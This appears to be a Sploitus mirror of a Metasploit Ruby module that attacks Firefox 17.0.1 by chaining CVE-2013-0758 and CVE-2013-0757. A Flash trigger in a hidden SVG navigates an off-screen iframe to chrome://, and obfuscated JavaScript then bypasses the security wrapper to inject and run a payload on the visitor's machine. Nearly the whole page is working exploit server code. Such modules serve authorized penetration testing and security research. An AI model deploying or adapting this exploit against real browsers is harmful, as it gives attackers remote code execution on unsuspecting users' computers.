Sploitus

Exploit for Firefox 17.0.1 Flash Privileged Code Injection

metasploit · 2013-01-08

Exploit Code

ruby190 lines
## https://sploitus.com/exploit?id=MSF:EXPLOIT-MULTI-BROWSER-FIREFOX_SVG_PLUGIN-
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::BrowserExploitServer
  include Msf::Exploit::EXE
  # include Msf::Exploit::Remote::BrowserAutopwn
  include Msf::Exploit::Remote::FirefoxPrivilegeEscalation

  # autopwn_info({
  #   :ua_name    => HttpClients::FF,
  #   :ua_minver  => "17.0",
  #   :ua_maxver  => "17.0.1",
  #   :javascript => true,
  #   :rank       => NormalRanking
  # })

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Firefox 17.0.1 Flash Privileged Code Injection',
        'Description' => %q{
          This exploit gains remote code execution on Firefox 17 and 17.0.1, provided
          the user has installed Flash. No memory corruption is used.

          First, a Flash object is cloned into the anonymous content of the SVG
          "use" element in the <body> (CVE-2013-0758). From there, the Flash object
          can navigate a child frame to a URL in the chrome:// scheme.

          Then a separate exploit (CVE-2013-0757) is used to bypass the security wrapper
          around the child frame's window reference and inject code into the chrome://
          context. Once we have injection into the chrome execution context, we can write
          the payload to disk, chmod it (if posix), and then execute.

          Note: Flash is used here to trigger the exploit but any Firefox plugin
          with script access should be able to trigger it.
        },
        'License' => MSF_LICENSE,
        'Targets' => [
          [
            'Universal (Javascript XPCOM Shell)', {
              'Platform' => 'firefox',
              'Arch' => ARCH_FIREFOX
            }
          ],
          [
            'Native Payload', {
              'Platform' => %w{java linux osx solaris win},
              'Arch' => ARCH_ALL
            }
          ]
        ],
        'DefaultTarget' => 0,
        'Author' => [
          'Marius Mlynski', # discovery & bug report
          'joev',           # metasploit module
          'sinn3r'          # metasploit fu
        ],
        'References' => [
          ['CVE', '2013-0758'], # navigate a frame to a chrome:// URL
          ['CVE', '2013-0757'], # bypass Chrome Object Wrapper to talk to chrome://
          ['OSVDB', '89019'],  # maps to CVE 2013-0757
          ['OSVDB', '89020'],  # maps to CVE 2013-0758
          ['URL', 'http://www.mozilla.org/security/announce/2013/mfsa2013-15.html'],
          ['URL', 'https://bugzilla.mozilla.org/show_bug.cgi?id=813906']
        ],
        'DisclosureDate' => '2013-01-08',
        'BrowserRequirements' => {
          :source => 'script',
          :ua_name => HttpClients::FF,
          :ua_ver => /17\..*/,
          :flash => /[\d.]+/
        },
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )

    register_options(
      [
        OptString.new('CONTENT', [ false, "Content to display inside the HTML <body>.", '' ]),
        OptBool.new('DEBUG_JS', [false, "Display some alert()'s for debugging the payload.", false])
      ], Auxiliary::Timed
    )
  end

  def on_request_exploit(cli, request, info)
    if request.uri =~ /\.swf$/
      # send Flash .swf for navigating the frame to chrome://
      print_status("Sending .swf trigger.")
      send_response(cli, flash_trigger, { 'Content-Type' => 'application/x-shockwave-flash' })
    else
      # send initial HTML page
      print_status("Target selected: #{target.name}")
      print_status("Sending #{self.name}")
      send_response_html(cli, generate_html(cli, target))
    end
  end

  # @return [String] the contents of the .swf file used to trigger the exploit
  def flash_trigger
    swf_path = File.join(Msf::Config.data_directory, "exploits", "cve-2013-0758.swf")
    @flash_trigger ||= File.read(swf_path)
  end

  # @return [String] containing javascript that will alert a debug string
  #   if the DEBUG is set to true
  def js_debug(str, quote = "'")
    if datastore['DEBUG_JS'] then "alert(#{quote}#{str}#{quote})" else '' end
  end

  # @return [String] HTML that is sent in the first response to the client
  def generate_html(cli, target)
    vars = {
      :symbol_id => 'a',
      :random_domain => 'safe',
      :payload => run_payload, # defined in FirefoxPrivilegeEscalation mixin
      :payload_var => 'c',
      :payload_key => 'k',
      :payload_obj_var => 'payload_obj',
      :interval_var => 'itvl',
      :access_string => 'access',
      :frame_ref => 'frames[0]',
      :frame_name => 'n',
      :loader_path => "#{get_module_uri}.swf",
      :content => self.datastore['CONTENT'] || ''
    }
    script = js_obfuscate %Q|
      var #{vars[:payload_obj_var]} = #{JSON.unparse({ vars[:payload_key] => vars[:payload] })};
      var #{vars[:payload_var]} = #{vars[:payload_obj_var]}['#{vars[:payload_key]}'];
      function $() {
        document.querySelector('base').href = "http://www.#{vars[:random_domain]}.com/";
      }
      function _() {
        return '#{vars[:frame_name]}';
      }
      var #{vars[:interval_var]} = setInterval(function(){
        try{ #{vars[:frame_ref]}['#{vars[:access_string]}'] }
        catch(e){
          clearInterval(#{vars[:interval_var]});
          var p = Object.getPrototypeOf(#{vars[:frame_ref]});
          var o = {__exposedProps__: {setTimeout: "rw", call: "rw"}};
          Object.prototype.__lookupSetter__("__proto__").call(p, o);
          p.setTimeout.call(#{vars[:frame_ref]}, #{vars[:payload_var]}, 1);
        }
      }, 100);
      document.querySelector('object').data = "#{vars[:loader_path]}";
      document.querySelector('use').setAttributeNS(
        "http://www.w3.org/1999/xlink", "href", location.href + "##{vars[:symbol_id]}"
      );
    |

    %Q|
      <!doctype html>
      <html>
      <head>
        <base href="chrome://browser/content/">
      </head>
      <body>

      <svg style='position: absolute;top:-500px;left:-500px;width:1px;height:1px'>
        <symbol id="#{vars[:symbol_id]}">
          <foreignObject>
            <object></object>
          </foreignObject>
        </symbol>
        <use />
      </svg>

      <script>
      #{script}
      </script>

      <iframe style="position:absolute;top:-500px;left:-500px;width:1px;height:1px"
        name="#{vars[:frame_name]}"></iframe>
      #{vars[:content]}
      </body>
      </html>
      |
  end
end